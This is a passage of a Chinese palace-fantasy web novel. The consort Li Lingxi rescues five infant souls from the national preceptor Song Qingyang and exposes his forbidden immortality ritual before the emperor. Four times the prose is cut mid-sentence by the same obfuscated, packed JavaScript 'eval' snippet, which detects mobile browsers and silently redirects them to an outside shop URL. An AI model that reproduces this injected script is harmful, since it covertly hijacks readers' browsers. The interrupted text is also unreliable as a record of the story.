李令曦飞快地接过沈青宛递过来的金簪,精准地刺向鬼婴头顶中央的百会穴。 “呃唔……”尖锐的啸叫变成了痛苦的呜咽。 鬼婴身上的灰色铁链消失了,身上的青紫也逐渐褪去。 慢慢的,原本诡异可怖的鬼婴,变成了一个莹白的光团,似雪娃娃般晶莹可爱,脸上也现出了婴儿原有的可爱面容。 他睁开眼睛,黑白分明的眼睛盯着面前的几人,咕噜噜地转着。 最后,定在了沈青宛的脸上,喊出一句奶声奶气的“娘”。 “我的儿,你这是怎么了,为何会成这样子……” 沈青宛眼眶含泪,红着眼踉踉跄跄地走到婴儿面前,伸出双手想要去抱它。 然而她的双手却毫无阻碍地穿过了孩子的虚影,扑了个空。 “这、这是怎么回事?” 李令曦解释道:“他已经死了,现在只是魂魄,没有实体。” 沈青宛落下泪来,“是啊,我差点忘了……” 雪娃娃见母亲哭了,飘到她面前,伸出小手去帮她擦泪。虽然没擦掉,但此举还是让沈青宛心里暖暖的。 李令曦想起正事,问道:“小娃娃,我问你,在魂魄离体之前,你可曾看见是谁害了你?” 雪娃娃收回手,眨巴着眼睛回忆起来:“我看见娘摔在石板上,有个嬷嬷在树后面偷偷擦手上的油,穿黄色衣裙的姐姐往观音像里塞黄纸,白胡子爷爷拿银针扎娘的肚子。” “我好疼好疼,受不了了……”他忽然捂着头痛苦地嚷着,“然后,我就到了一片黑暗之中。接着,有个穿孔雀袍子的爷爷把我们从棺材里抓出来,他还用冒着黑气的铁链把我们绑起来,放在青铜鼎里。” 李令曦神情肃然,抓住了雪娃娃话中的关键信息。 绣有孔雀的袍子…… 整个皇宫内,只有当朝大国师才穿。 还有——“我们”,那就说明,被大国师控制的婴儿魂魄,不止一个! 忽然,雪娃开始浑身抖个不停,脸上的表情变得极为痛苦。 “娘,我好疼……铁链子又来吸我的魂魄了……” 沈青宛看着雪娃娃痛苦的样子,焦急地直掉眼泪,却无能为力,只能转头求助李令曦。 “曦妹妹,求求你快救救我的孩儿吧!” 李令曦点头,嘱咐道:“你们在屋内等着,我跟随雪娃一起去看看究竟是怎么回事。” 沈青宛爱子心切,还想跟着,被李令曦拒绝了。 “去了也帮不上忙,到时还得我救你,就安心等着吧。” 雪娃娃伸出手抓住自己的脖子,像要拽掉那上面的无形束缚。没多久,他身上的莹白光芒逐渐减弱,皮肤开始恢复青紫。 李令曦默念几句咒语,冷喝一声:“去!” 鬼婴猛然向后飞去,速度极快。 李令曦紧随其后。她抬头望向鬼婴前行的方向——皇宫东南处,青阳宫,正是大国师的住处。 刚追到青阳宫的大门外,鬼婴就湮灭在了漆黑的夜色里,不见了踪迹。 李令曦轻轻一跃,翻过围墙,凝神屏息,注意着周遭的一切,迈着极轻的步伐四处探寻。 月上中天,夜已深,青阳宫内静悄悄的。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980569|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令曦略一掐指,算出雪娃所在的方位,便朝着目的地而去。 正东是储物间,平日里人迹罕至。 李令曦拿出火折子照明,发现存放粮食的木架子有些可疑。那架子后面的地砖因平日不常打扫,积了一层灰尘,其中有一块却较为干净,上面似有挪动使用的痕迹。 李令曦蹲下,小心地摸索着,却没找到打开的机关。 她又站起来,忽然发现头上有微弱的光线泄下。 抬眼一望,才发现屋顶的瓦竟少了一块,月光也因此照了进来。 李令曦有些无语,嘟囔着:“堂堂大国师竟如此寒酸,屋顶的瓦都坏了也不修,要是下雨,这满屋粮食岂不是要遭殃了。” 她继续举着火折子,四处寻找蛛丝马迹,在窗台上发现了一面镜子。 她不由得蹙起眉头:“奇怪。这储藏室里,放个镜子干嘛?” 这国师总不能是个超级自恋狂,在这种地方也要欣赏自己的绝美容颜吧。 事出反常必有妖。 镜子…… 等等! 李令曦脑海中一道白光闪过,她明白了。 她用手扶住镜子边缘,用它来反射照进屋内的月光,然后尝试着变换各种角度,看反射的光照向的位置。 终于,她在某处极隐蔽的地方发现了端倪—— 在月光的反射下,墙角处闪着一丝极细的白光。是银蚕丝。 原来机关在这。 李令曦突然有点想见见这国师了。 “还算是个有头脑的,若是换了常人,恐怕怎么也想不到这法子。” 拉动银蚕丝后,只听“咔嚓”一声,地砖有了动静,先是缓缓下降了半寸,接着又向旁边移去。 一个入口出现了,有台阶向下延伸。 李令曦顺着台阶走下去,来到地下的空间。地下温度较低,四处摆着一些架子,上面挂满了干肉,地上还堆放着一些其他不易储存的物品。 乍一看,跟普通地窖无甚区别。但李令曦屏息闭眼,隐隐能听到孩童的哭喊声。 她轻轻地敲打着墙壁,确定某处的声音与其余有异,小心翼翼地上前摸索,待摸到一处凸起,便按了下去。 接着,墙壁开始向后转动,一个暗门入口显现。李令曦抬脚走进去,门又缓缓关上了。 进了暗门,孩童的声音就清晰多了。 李令曦循着声音前行,终于找到雪娃娃魂魄被束缚的地方。 屋内摆放着一个巨大的青铜鼎,鼎下还燃烧着熊熊烈火。 雪娃娃——现在应该叫鬼婴——正被铁链紧紧锁住,捆缚在青铜鼎的侧面。 一个头发花白的老头正站在鼎前。他身穿藏青色衣袍,上面绣有孔雀花纹。 看来,就是当朝国师宋青阳了。 此时,宋青阳的手里握着银鞭,正不断抽打鬼婴。 “竟敢屡次三番不听我的话,私自跑出去,看我不好好教训教训你这个小鬼头!我修炼的关键期已到,岂容你这厮破坏我的计划,给我乖乖听话……否则,我让你们五个永无宁日!” 五个? 李令曦藏在暗处观察着,除了沈青宛之子,还发现了另外两个婴儿的身影。除此之外的两个婴儿位于她视线的盲区,看不见样子。 她仔细看了三个婴儿的面容,迅速算着他们的命格。 9. 第 9 章 沈青宛之子为男婴,命格为水。旁边的女婴为长公主之女,命格为火。另一个男婴为薛太妃之子,是先皇的儿子,命格为木。 这三个婴儿都是未能出生的死婴,且都是皇室子嗣。 李令曦沉吟思索——水、火、木…… 看来,剩下那两个死婴的命格应该就是金和土了,这绝不是巧合。宋青阳是想集齐金木水火土五种命格的皇室子嗣,用死婴魂魄中的煞气,炼成五行转生术。 好一个当朝大国师,打着冠冕堂皇的幌子,背地里却偷偷修练邪术,行此龌龊阴毒之事。 李令曦真想狠狠处理这个败类,但她忍住了。眼下时机未到,贸然行事只会适得其反。 她悄悄后退,沿着原路返回,一路小心谨慎,不留下丝毫行迹,以免被宋青阳发现起疑。 出了青阳宫,李令曦赶回凤仪宫。 李令曦走后,宋青阳打开了那墙壁后的另一扇暗门——原来这里面竟还有一层密室。 宋青阳摸着花白的胡须,眼带笑意地看着靠在墙上的几具尸体。 “这几个东西,很快就可以为我所用了,得给师父去信一封,告知他老人家进展才好……” 半个时辰后。青阳宫上方漆黑的天空中,一只白鸽扇动翅膀,往皇宫外飞去了。 …… 此时的凤仪宫内,灯火摇曳。沈青宛毫无睡意,在屋内踱来踱去,心急如焚。 檀玉在一旁陪着她,不时劝慰道:“娘娘您别担心了,有曦妃娘娘在,事情定会解决的。” “我知道,可我还是忍不住担心……”一想到孩儿的魂魄正被歹人操控,经历蚀骨之痛,沈青宛就无法平静心绪,“什么时辰了?曦妹妹怎么还没回来?” 檀玉看了看漏刻:“已经二更了。” 话音刚落,门外响起动静。 “咚咚——” 沈青宛激动地站起身:“是不是曦妹妹回来了?” “还是谨慎些好,我去问问。”檀玉来到门口,“是谁?” “是我,李令曦。” 门打开后,李令曦坐下先喝了一杯水,接着就把在青阳宫的所见所闻简略地跟沈青宛说了。 沈青宛听得眼泪涟涟:“可怜我的孩儿,不仅没能活下来,连死了也不得安宁……该死的宋青阳,本宫定要他为吾儿偿命!” 李令曦语气冷静地道:“皇后娘娘,此事不可莽撞,需仔细谋划,才能一举成功。” “曦妹妹,你打算如何做?我听你的。” 经此一夜,沈青宛见识了李令曦的本领,对她再无疑虑。 李令曦开始道出自己的想法:“宋青阳所炼的五行转生术,目前五婴的魂魄都已聚齐,就差最后的关键条件了。” “什么关键条件?” “五星连珠。” “五星连珠?”沈青宛有些不明所以。 “就是天空中的金、木、水、火、土,这五颗星运行到一条线上。五星连珠是百年难得一遇的奇异天象,而五星的属性与五婴的命格刚好对上。届时,宋青阳就会借这个机会,用他的法术施行‘五行转生术’,目的就是为了求得长生不老。” 李令曦解释完原理后,檀玉有些好奇。 “这个什么“转生术”,真的可以让人长生不老么?” “当然不能。因为这是邪术。而且凡人都会死的,除非你潜心修仙得道,还有一丝机会。” “修仙得道?那不是话本子里的故事么……” “大千世界,无奇不有。人只是浩瀚宇宙中的一粒尘埃罢了。很多东西,你看不到,不代表就不存在。” 李令曦说着,打了个哈欠:“刚才雪地上的血脚印,还有鬼婴和雪娃娃,你们不是都看到了么。” 檀玉默默地闭上了嘴。今晚的经历着实不可思议,她恐怕得好长时间才能抹掉心里的阴影。 李令曦继续说起了正事:“我夜观天象,三日后的亥时,‘五星连珠’的奇观会出现,那时宋青阳会把炼魂的炉鼎置于星光之下。我会埋伏在周围,伺机而动。” “那需要本宫做些什么?” “皇后你负责告知皇帝,以及朝中重臣,请他们准时前去青阳宫,观看这场好戏。到时,我会当众揭穿国师的阴谋,让那些婴儿的魂魄回归原本,去往该去的地方。” 沈青宛点头:“放心,此事就交给本宫。” “今晚就先到这吧,太困了我得回去休息了。” “檀玉,送送曦妃娘娘。” “不用了,你们也早些睡吧。” 李令曦起身伸了个懒腰——今天工作量超标,明天要睡到自然醒。 三日后的夜晚。 青阳宫的正殿前方,一片明亮。约两米高的炉鼎立在地面上,下方是一堆熊熊燃烧的火焰,橙黄的火光映照着夜空,好似吞噬黑夜的猛兽。 炉鼎上方,漂浮着五个婴儿。他们周身散发着丝丝黑气,面色痛苦,发出难耐的哭喊与呻吟,火苗不断升腾,舔舐着婴儿们的魂魄。 宋青阳满脸亢奋,双眼因激动而有些发红。他上下挥舞着双手,不断调整婴儿的位置,嘴里喃喃自语。 “亥时一到,五星连珠,你们五个的魂魄就会被我炼成‘转生丹’。到时,我就可以长生不老了,任谁也不能奈我何,哈哈哈哈哈……” 充斥着野心与残忍的笑声,飘荡在夜空中,令人不寒而栗。 夜色掩映下,李令曦埋伏在廊柱后面,方便动手。 而在沈青宛的带领下,宫中一行人则隐藏在茂密的树丛后。 见平日里令人敬重的国师,如今竟然如此癫狂,众人脸上都现出了惊惧之色,几个胆小的纷纷捂住了嘴,生怕自己发出一点儿声音。 李令曦悠然地抬起头,在心里默算着时辰。 “还有三分钟。” 时间一分一秒地过去。 夜空无云无风,五颗星辰逐渐运行,肉眼看上去形成了一条线,且线的形状越来越直。 霎时,不知从何处刮来一大片黑云,起了一阵风,又猛又急,迷得人睁不开眼。 “呀……”愉妃向来娇惯,发髻被风吹乱,忍不住叫出了声。 沈青宛不悦,立即一个警告的眼神扔过去。 齐嫔在皇后旁边,看见愉妃好好的,心中有些纳闷。 曦姐姐上回不是给她算了一卦,怎么没事呢? 愉妃撅起嘴,不情不愿地扶好了发髻。她眼神四处张望,搜寻李令曦的踪影,心底满是不屑。 “呵,也不知皇后被李令曦给灌了什么迷魂汤,非要我们大半夜的在这里看戏。真当自己是什么厉害角色,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980570|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次还说什么未时之前换掉金簪,否则会有性命之忧。结果还不是被国师轻易解决了。这下当着皇上和众位大臣的面,还想诬陷国师,我看你怎么收场!” 很快,乌云散去,阴风停止,月亮又现身了。 宋青阳仰起头,目不转睛地盯着五星的位置。 快了、快了! 五、四、三、二…… 咚—— 二更的鼓声在远处准时响起。 五星连成了一条直线。 “五星连珠,就是现在!”宋青阳大叫一声,左手迅速结印,随即咬破手指,飞快地将血涂抹在右手的剑上。 他用力将剑一指,对准五星连珠,一道银色光芒闪电般轰然而下,将五星和剑连接起来。 “哈哈哈哈……我马上就要成功了……” 宋青阳面目狰狞,得意大笑。不一会儿,他手中的剑吸收了“五星连珠”的光芒,变得通体发亮,令人不敢直视。 “去吧!”宋青阳一边运功,一边将剑指向炉鼎上方的五个婴儿。 “呃——” “救命……” 婴儿们瞬间集体哀嚎痛哭,像是遭受了雷击一般,拼命挣扎扭动着。 “啊哈哈哈,我的‘五色转生丹’就要大功告成了!” 宋青阳丝毫不管他们痛苦的喊叫,猩红的双眼里只有对长生的炽热渴望。 在他的运作下,五个婴儿越来越靠近,眼看就要成为一体——树后面,沈青宛死死盯着炉鼎上方。 她脸色凝重,眉头紧皱,双手紧紧交叠在一起,眼中满是焦急和担忧,似乎随时准备冲到台上去。 “曦妹妹怎么还不出手?” 正念叨着,忽见宋青阳对面的宫殿廊柱下方现出一道金光。 一柄灵气剑破空而出,直直冲向宋青阳的手腕。 “啊呀!” 宋青阳大吃一惊,根本来不及反应,整个人顿时被一股极强大的力量狠狠击中。 “咣当——”他手中的银剑掉落在地,发出清脆的响声,剑身的银光也随之消散,很快就变回了原本的样子。 没了银剑的压迫,五个婴儿慢慢分开了。 “什么人,竟敢坏我好事?!” 宋青阳气得咬牙切齿,他急忙抬头去看头顶的夜空。此时,五星连珠的时间已过,“直线”变得肉眼可见的弯曲了。 “可恶!我等了几十年,筹划了几十年,为的就是这一天……” “这一切都被毁了,到底是谁?” “我要杀了你!!!” 宋青阳捡起武器,一手抚着胸口,一手用剑支撑自己站起来。 “大国师,也不过如此。” 李令曦自黑暗中走出来,手一张开,灵气汇聚而成的剑浮在她掌上。 宋青阳有些诧异——竟然是个女子,还如此年轻貌美。 他本就被打得有些站不稳,听了对方一句淡淡的评价,更是气得要吐血:“就是你,坏了我的好事?究竟是什么人派你来的……咳咳……” 说话间,他抑制不住地咳了好几声,看来对方的实力不容小觑。 接着,他深吸一口气,迅速调整好状态,闭上眼睛,口中念念有词。然后猛然睁开眼,大喝一声举剑向李令曦刺去。 “受死吧你!” 10. 第 10 章 不管是什么身份,敢破坏长生阵法,就得死! 宋青阳恶态毕现,杀气腾腾,让底下观战的齐嫔和沈青宛替李令曦捏了一把汗。 对方毕竟是大国师,万一打不过怎么办。 而愉妃则幸灾乐祸地勾起嘴角,一副看好戏的神态:“哼,整个皇宫谁不知国师的厉害。一介弃妃,也敢打肿脸充胖子,我看你能撑到什么时候。” 皇帝萧旭,一些公主妃嫔,还有朝中大臣们此时内心都十分讶异。 他们没想到,当朝国师表里不一,背地里搞小动作,更没想到,曦妃娘娘一介宫妃,本事竟丝毫不亚于国师。 这个夜晚,注定是令人难忘的。 宋青阳虽受了伤,但因抱着必置对方于死地的恨意,速度仍然很快。 但,李令曦更快。 她懒懒地掀起眼皮,平静地望着那张朝自己而来的,面目狰狞的老脸,迅速将手掌往前一推。 灵气剑瞬间就移到了宋青阳面前。 刺眼的金色光芒让他睁不开眼,强大的气流令他周身战栗。 紧接着,宋青阳感觉到一股巨大的力量,穿透了他的身体。不是很疼,但却比疼痛更可怕。 因为他很快就察觉到,自己的法力正以惊人的速度在消失。他不受控制地倒在地上,不可置信地抬起一只手:“你、你——” 李令曦收起灵剑,跃身来到他跟前,淡淡道:“放心,你死不了。我没下死手。” 这出戏,还没唱完呢。 李令曦又从衣袖中取出五张符纸,在空中一一排开,闭眼念着符咒。 符纸很快按照顺序飞到了对应的婴儿身上。不一会儿,所有的鬼婴都像那晚一样,褪去了浑身的可怖样子,回归魂魄纯体形态,个个都晶莹雪白,周身笼罩着一层柔和的白光,憨态可掬。 李令曦向黑暗中喊道:“皇后娘娘,可以让大家出来了。” 宋青阳一头雾水:“咳咳……什么……” 这个女人,还要耍什么花招? 寂静的夜色中,只听见树后面不断响起衣袖摩擦的“簌簌”声。 先是皇帝,然后是皇后,长公主、愉妃、齐嫔、左相、大将军、刑部尚书…… 一个接一个,足足有十几人。 “这、这是……”什么情况?宋青阳目瞪口呆。 他看着缓缓向自己走来的皇帝一脸凝重,暗觉心慌,于是连忙跪着爬过去,以头抢地,先发制人地控诉起来:“皇上,您要为老臣做主啊!这个女人,她是天煞灾星,会带来灾祸,影响我们大兴朝的国运啊!” 萧旭冷着脸,一语不发。 宋青阳慌忙直起身,指着炉鼎:“皇上,您看——那是老臣精心筹备多年,为陛下、为国运而设计的阵法。没想到这个女人她一上来就给破坏了,她这是要存心让您的王朝覆灭,其心可诛啊!” 身为帝王,最忌讳的就是听见“王朝覆灭”“国运兴衰”等字眼。 萧旭得脸色不禁又阴沉了几分。他抬起眼眸,看着李令曦,眼中满是强烈的探究之情。 “这还是朕认识的那个李令曦吗……为何她的性格、气质,都与以往截然不同?还有这一身的本领,究竟是怎么回事?” 忽而,萧旭眉头一松。 “难道……这是她欲擒故纵的法子……” 想到这儿,他的眼里又浮现出一丝不屑与意料之中。 “朕就知道,这女人被打入冷宫了,才明白朕的好,可又拉不下脸来求朕。所以就闹出这种种动静,来吸引朕的注意。” 见萧旭一会皱眉探究,一会邪魅微笑,李令曦浑身一阵恶寒,不耐烦地翻了个白眼。 这一举动落在萧旭眼里,就被解读成了另一番意思。 “呵,女人,就是心口不一。” 见萧旭半天不应,宋青阳有些着急,继续怂恿道:“皇上,此女自带煞气,不仅刑克六亲,还会促生天灾,阻碍国祚。其母生下她难产而亡,兄长也英年早逝,自己被打入冷宫后,还把周太妃也克死了。还有河西的干旱、闽地的水灾、徽州的蝗灾,这些、这些在此女进宫以后,频频发生。就是因为她,我们才天灾不断,若不迅速将其除掉,国祚恐难续啊……” 宋青阳为泄私愤,将所有脏水都泼到李令曦身上,说得煞有介事。 大国师的名号,在大兴朝存在了二十多年。他的话,在众人心中还是有些分量的。 几位大臣面面相觑,开始窃窃私语起来。显然是被宋青阳的一番言论给动摇了。 李令曦不禁笑了。宋青阳这个本事不多心眼却不少的小人,为了诬陷她,还真是无所不用其极,什么都推到她身上。 她双手抱在胸前,一只腿弯曲向后,依靠在廊柱上:“我倒不知道,我竟有这么大的影响。什么天灾,什么人祸,合着都是我一个人干的。我既如此厉害,还不早成了宇宙之主了,还在这跟你们玩儿,可笑!” 宋青阳倒吸一口凉气,龇牙咧嘴地伸出一根手指指着李令曦:“皇上,您看看,此女牙尖嘴利,好生猖狂!当着您的面儿,就敢说出如此大逆不道之话,她眼里还有没有您这个皇上啊!” 李令曦略一低头,抿抿嘴角。说对了,她眼里还真没萧旭这个狗屁皇帝。 她放下脚,站起身面向众人。 夜色中,她一身月白素衣,在晚风的吹拂下微微飘动,满头青丝高高束起,只用一根青色发带系好,再无其他装饰,周身散发着素雅清冷的气质。精致出众的五官无需傅粉施朱,就足以令人呼吸一滞。 萧旭的目光不自觉地被吸引了。 李令曦缓缓走向宋青阳,脸上没有表情,一股睥睨天下的气势随之而来。 而在萧旭看来,李令曦就是在走向自己。 李令曦的脚步越来越近,萧旭不自觉地有些心跳加快。 “该死,这个女人的表情虽然依旧很冷漠,但怎么却比以往更迷人了……此时此刻,她一定是在心里祈求重获朕的恩宠。如果她开口求朕的话,朕倒是可以考虑让她从冷宫出来……” 察觉到萧旭的视线一直黏在自己身上,李令曦更觉恶心,那感觉就像是在风中开心大喊,结果嘴里突然飞进一只苍蝇那般的恶心。 “让开。”她停下脚步,冷冷开口。 萧旭一怔,回过神来。他四下一望,李令曦正站在他面前,宋青阳在他身后,除此之外的人,都离他们尚有一定距离。 “你、你是在说……朕?” “不然呢?” 李令曦很不耐烦。 萧旭有些意外,略一挑眉。还从未有人对他说过这么言简意赅,不带任何敬语的话,且还是命令语气。 按理说,本该生气的,但不知为何,萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980571|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旭心底却升腾起一丝难以言喻的……欣喜。 他往旁边挪了两步,十分听话地让开了。 宋青阳一下子暴露在李令曦的视线中。 “皇上、你……”他很意外。为什么皇上非但没有发怒,反而还有些高兴的样子? “皇上您千万别被此女迷惑了,此等煞气极重的灾星,必须立刻处死!而且还需配合老臣的镇煞之术,才可永绝后患啊!” 李令曦冷冷地嗤笑一声:“老贼,省省力气吧。” 宋青阳只能抓住萧旭这根救命稻草,毕竟这些年来,他可没少给萧旭出谋划策。 可当他转过头去,却见萧旭正望着李令曦的侧脸,一动不动,一脸痴迷,好似完全没听到他的话。 宋青阳僵硬地扯扯嘴角,结结巴巴地挤出几个音节:“这……皇……” 怎么回事?这到底是怎么回事!? 这个女人,不就是一个早被打入冷宫的弃妃吗?难道皇帝又旧情复燃,还对她念念不忘? 宋青阳气得眯起了双眼。此女果然是个祸害,难不成是什么妖孽附身,会惑人心智不成…… 宋青阳仔细打量,却没从对方身上看出一丁点妖气,反而感受到一股不可忽视的灵气溢出。 这种灵气,他宋青阳活到五十多岁还未曾见过。 难道……她也是玄门中人? 李令曦的本事,宋青阳方才已经领略过了,远在他之上。他忽而松开眉头,恍然大悟般睁大双眼——莫非对方是某位隐士高人的徒弟,一直隐藏身份? 他忍不住问道:“你、你究竟是什么人?” “玄门中人,修道多年。” “这么说,你我也算是同行,那这还真是一场误会了,咳咳。” “你若非往自己脸上贴金,我也无话可说。”李令曦从宋青阳的语气中听出了套近乎的意图,冷淡道,“但我跟你可不一样,我不仅比你厉害,人品也比你好得多。” 她走上前一步。 宋青阳下意识地往后一退,战战兢兢道:“你已废了老夫的法力,还想要干什么?” “不干什么,替自己辟个谣。方才你说我是天煞灾星,纯属无稽之谈。” 当下世人多信奉这些说法,尤其是出自大国师之口,就算有些人面上不显,但会记在心里,进而形成根深蒂固的偏见。若不及时澄清,破除谣言,日后一些别有用心之人便会一直拿这说事,无论什么祸事,都会往她身上推。 而人性又趋于从众,三人成虎,说的多了,假的也变成了真的,最终会把无辜之人推向深渊,酿成悲剧。 李令曦转身,面向一众达官贵人,缓缓开口。 “所谓灾星一说,只是人们强加的说辞。生老病死,天灾人祸,这些都是自然运行的规律,非人力所能抵抗。谁能确保自己及家人永远不生病、不会死去呢?” “就连我们的大国师,在年老体衰的时候,不是也想着能够长生不老吗?所以家人病重、逝世,这都是每个人自己的命,根本不是什么‘刑克六亲’。” 李令曦顿了顿,话锋一转:“如果按国师所说,那先皇病逝,皇后胎儿流产,岂不可以说都是皇上克的了?” 萧旭脸色一僵,继而愤愤道:“大胆!你在胡说什么!” 李令曦笑了笑:“哦,原来皇上你也知道这是‘胡说’啊。” 11. 第 11 章 刚才还心有疑惑,左右动摇的大臣等人开始小声议论起来。 “此言然也。” “确实有道理……” “凡事不可偏信啊。” 李令曦继续道:“至于说各地灾祸都是因我进宫而频发,说我会影响国祚,更是让人笑掉大牙。难道在我进宫之前,各地就不曾发生过水旱、蝗虫等灾害吗?难道国祚的长短,凭我一个女子就能决定吗?” “若真是如此,还那要皇帝做什么?要你们这些臣子做什么?万物运行,自有其道,岂可全都推到人身上?” “至于国祚延续,靠的是君主励精图治,心怀苍生。靠的是臣子恪尽职守,匡扶社稷。靠的是人民勤于农桑,敦亲睦邻。” “如此才可安居乐业,政通人和,国力强盛,国祚绵长。国祚,从来都不是一个人的事。” 这段话一出,众人都陷入了沉默。 尤其是萧旭和那些大臣们,他们从未想过这些话会从一个打入冷宫的女子口中听到。 而这话,又是如此振聋发聩。 看着李令曦沉静肃然的模样,萧旭只觉得胸膛一颤。他下意识地抬手抚住胸口,想压下那份莫名的颤动。 “李令曦,你到底还有什么惊喜是朕不知道的……” 李令曦压根没注意萧旭。 她忽而又转过身,声色俱厉地对着宋青阳:“宋青阳,你身为道门中人,一国国师,受人敬仰,在其位就当谋其职。面对变化无常的自然与人事,应利用自身力量,做好充分的准备去规避灾祸风险。而不是像你这般,只知信口雌黄,推卸责任!” 说着,李令曦轻轻一招手,那五个婴儿魂魄体便飘至她身旁。 宋青阳见了,不敢直视,垂下头去。 李令曦继续揭露道:“不仅如此,你还罔顾人命,残害皇嗣,修炼邪术,有违天道!” 此话一出,犹如一声响雷,平地里炸翻了天。不知真相的人们纷纷倒吸一口凉气,愕然失色。 “难道这些婴儿都是皇家子嗣……” “修炼邪术,大国师他要干什么?” “这到底是怎么一回事啊?” …… 李令曦让五个婴儿按照顺序排好,面向议论的众人:“这五个孩子分别是当年的陆妃之女,薛太妃之子,当今皇后之子,长公主之女,刘美人之子。他们的命格分别为金、木、水、火、土。” 听到自己的名字,长公主猛然抬头,眼神一一扫过去,最后停在一个女娃娃身上。 女娃与她一样,眉上有一颗红痣。 她激动地冲上去,瞪大了眼:“没错,是我的昭儿!” 昭儿是长公主的第一个孩子,可惜生产时却因难产,孩子夭折了。 她的昭儿,明明已好好安葬在皇陵,怎么会出现在这里? 沈青宛也走到雪娃娃面前,眼里噙着泪花,悲痛地问道:“曦妃妹妹,大国师他,究竟用我们的孩儿魂魄干什么?” 李令曦不由得在心底为沈青宛点了个赞。不愧是皇后,聪慧坚强又隐忍,能成大事。 她掷地有声地道:“国师要炼“五行转生术”,以婴儿魂飞魄散、永世不得超生为代价,妄图延续自己的寿命,长生不老!” “什么?!” “堂堂国师,竟如此……” “禽兽不如,大逆不道!” 长公主眼里似乎要冒出怒火,她愤恨地冲到宋青阳面前,衣袖一甩,狠狠地打了他一巴掌。 “啪!” 宋青阳原本干瘪的脸立马红肿了。 “老贼,我要杀了你!” 她又气冲冲地使劲一踹,宋青阳一下子被踹翻在地,“哎呦哎呦”叫个不停。 在旁人的劝阻下,长公主才渐渐平息了怒火。 沈青宛看向萧旭,发现他的神情与旁人相比,有些平淡,好像并不怎么伤心,也不怎么愤怒。 果然,害死自己亲生骨肉的人,比起大国师也好不到哪去。 沈青宛敛去眼中的寒意,开口问道:“皇上,国师犯下如此罪孽深重之恶行,要怎么处置,您来定夺吧。” 国师残骸皇嗣,修炼邪术,此事于众目睽睽之下被揭穿,人证物证俱在,再无转圜余地。萧旭略一沉吟,肃然下令:“来人,将国师押入天牢,择日斩首!” 宋青阳瘫软在地,用尽全身的力气呼喊道:“皇上,您不能这么对老臣啊!看着老臣这么些年勤勤恳恳,为您做事的份儿上,您饶我一命吧!” “皇上,别忘了,在您还是大皇子——” 萧旭眸光顿时一暗,沉声吩咐道:“来人,速将此贼的嘴堵住,休得令其狡辩!” “是。” 眼见宋青阳没了声,萧旭才暗中舒了口气。 “该死的老贼,再不把嘴堵住,岂不是要把朕的秘密全都抖落出来了……” 国师被拖走了。 沈青宛放心不下,问道:“曦妹妹,那这些孩子们要怎么办?” 长公主也很焦急:“对啊,刚才你不是说宋青阳那老贼要让我的孩儿魂魄破碎,永世不得超生吗?你快想想办法啊!” 李令曦淡淡一笑。 “不要着急。” 她让众人退开一段距离,闭上双眼,双手开始结印,口中诵起超度魂魄之词。 刹那间,整个青阳宫大殿的空气开始微微震荡,李令曦周围散发出一圈金色光芒,那光芒磅礴又纯粹,充满了净化灵魂的清朗气息。 在场的人都被这金色光芒震撼,微扬起头看着。 五个婴儿魂魄被这股力量笼罩,他们好奇地睁着眼睛,发出呜呜呀呀的奶声。 不一会儿,原本肉眼可见的白色魂魄逐渐开始变淡,直至透明。最终,都化为点点纯净的细小光点,消失在夜空中。 孩童们纯真的笑声隐隐传来: “咯咯……” “嘻嘻……” “再见啦,娘亲……” 沈青宛和长公主望着半空,眼中满是不舍。 尘埃落定。 金光散去,阴冷不再。 唯有殿前还在燃烧着火焰宣告着,刚才发生的一切并非幻觉。 整个空间一片寂静,落针可闻。 沈青宛笑着轻轻擦去泪水,走向李令曦:“谢谢你。” “客气了,分内之事。” 这时,门外忽然响起一阵喧闹声,格外惹人注意。 “你们两个狗奴才,好大的胆子,竟敢拦我?” “对不住了愉妃娘娘,我们是奉皇后娘娘的命令。” “你们要干什么,快放开我!” 女子的声音十分尖锐。 没多久,就见两个侍卫一左一右,紧紧挟着愉妃的双臂,将她半拉半拽地带到了沈青宛面前。 侍卫手一松,愉妃踉跄了一下,她连忙站好,整理了下被弄乱的衣服,气急败坏地骂道:“岂有此理,真是狗仗人势!” “本宫可不是你们这些贱男人能碰的!” 她小嘴一撅,扑向萧旭,撒娇诉苦。 “皇上~您看看这些人,欺负得妾身好惨,您可要为妾身做主啊~皇上~”愉妃娇嗔腻歪的嗓音里跟塞了个蜂巢一样。 李令曦鸡皮疙瘩都起来了。 愉妃继续扭着婀娜的身子,跟没骨头似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 